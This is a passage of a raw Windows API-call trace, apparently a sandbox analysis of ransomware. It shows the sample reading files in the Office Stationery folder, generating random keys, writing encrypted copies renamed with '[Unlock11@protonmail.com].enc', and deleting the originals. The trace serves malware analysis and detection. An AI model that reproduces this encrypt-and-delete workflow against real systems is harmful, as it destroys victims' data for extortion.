Shared\\Stationery\\Bears.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpFilePart=0x9bada4*="Bears.jpg") returned 0x49 [0199.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0199.068] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432)) returned 1 [0199.068] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366850c | out: pbBuffer=0x366850c) returned 1 [0199.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0199.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0199.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0199.069] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.069] GetFileType (hFile=0x334) returned 0x1 [0199.070] GetFileType (hFile=0x334) returned 0x1 [0199.070] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.070] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.070] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.070] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.070] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.070] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.070] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.071] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.071] GetFileType (hFile=0x39c) returned 0x1 [0199.071] GetFileType (hFile=0x39c) returned 0x1 [0199.071] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.072] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.072] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.072] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.072] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.072] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.072] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.076] CloseHandle (hObject=0x39c) returned 1 [0199.076] CloseHandle (hObject=0x334) returned 1 [0199.076] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0 [0199.077] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini", lpFilePart=0x9bada4*="Desktop.ini") returned 0x4b [0199.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.077] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a6754cb, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e12866, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e12866, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285)) returned 1 [0199.077] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674dcc | out: pbBuffer=0x3674dcc) returned 1 [0199.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0199.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0199.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0199.078] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.078] GetFileType (hFile=0x334) returned 0x1 [0199.078] GetFileType (hFile=0x334) returned 0x1 [0199.078] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.079] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.079] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.079] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.079] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.079] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.079] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.079] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\desktop.ini.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.079] GetFileType (hFile=0x39c) returned 0x1 [0199.080] GetFileType (hFile=0x39c) returned 0x1 [0199.080] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.080] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.082] CloseHandle (hObject=0x39c) returned 1 [0199.082] CloseHandle (hObject=0x334) returned 1 [0199.082] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0199.083] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpFilePart=0x9bada4*="Garden.htm") returned 0x4a [0199.084] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7)) returned 1 [0199.084] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367428c | out: pbBuffer=0x367428c) returned 1 [0199.084] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.085] GetFileType (hFile=0x334) returned 0x1 [0199.085] GetFileType (hFile=0x334) returned 0x1 [0199.085] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.085] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.085] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.085] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.085] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.085] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.085] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.086] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.086] GetFileType (hFile=0x39c) returned 0x1 [0199.086] GetFileType (hFile=0x39c) returned 0x1 [0199.086] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.086] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.086] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.086] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.086] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.087] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.087] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.114] CloseHandle (hObject=0x39c) returned 1 [0199.114] CloseHandle (hObject=0x334) returned 1 [0199.114] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0 [0199.114] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpFilePart=0x9bada4*="Garden.jpg") returned 0x4a [0199.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0199.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0199.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0199.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0199.115] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f)) returned 1 [0199.115] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36740ac | out: pbBuffer=0x36740ac) returned 1 [0199.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0199.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0199.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0199.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabc0 [0199.116] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.116] GetFileType (hFile=0x334) returned 0x1 [0199.116] GetFileType (hFile=0x334) returned 0x1 [0199.116] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.117] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.117] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.117] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.117] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.117] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.117] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.117] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.118] GetFileType (hFile=0x39c) returned 0x1 [0199.118] GetFileType (hFile=0x39c) returned 0x1 [0199.118] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.118] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.118] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.119] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.119] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.119] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.119] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.122] CloseHandle (hObject=0x39c) returned 1 [0199.122] CloseHandle (hObject=0x334) returned 1 [0199.122] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0 [0199.123] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpFilePart=0x9bada4*="Green Bubbles.htm") returned 0x51 [0199.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0199.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0199.123] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\green bubbles.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1 [0199.123] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674da4 | out: pbBuffer=0x3674da4) returned 1 [0199.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0199.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0199.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0199.124] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.124] GetFileType (hFile=0x334) returned 0x1 [0199.124] GetFileType (hFile=0x334) returned 0x1 [0199.124] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.124] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.124] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.125] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.125] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.125] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.125] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.125] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\green bubbles.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.125] GetFileType (hFile=0x39c) returned 0x1 [0199.125] GetFileType (hFile=0x39c) returned 0x1 [0199.126] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.126] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.126] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.126] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.126] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.126] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.126] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.128] CloseHandle (hObject=0x39c) returned 1 [0199.128] CloseHandle (hObject=0x334) returned 1 [0199.128] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0 [0199.129] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpFilePart=0x9bada4*="GreenBubbles.jpg") returned 0x50 [0199.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0199.129] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906)) returned 1 [0199.129] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674c8c | out: pbBuffer=0x3674c8c) returned 1 [0199.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0199.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0199.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0199.130] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.130] GetFileType (hFile=0x334) returned 0x1 [0199.130] GetFileType (hFile=0x334) returned 0x1 [0199.130] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.130] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.130] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.130] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | 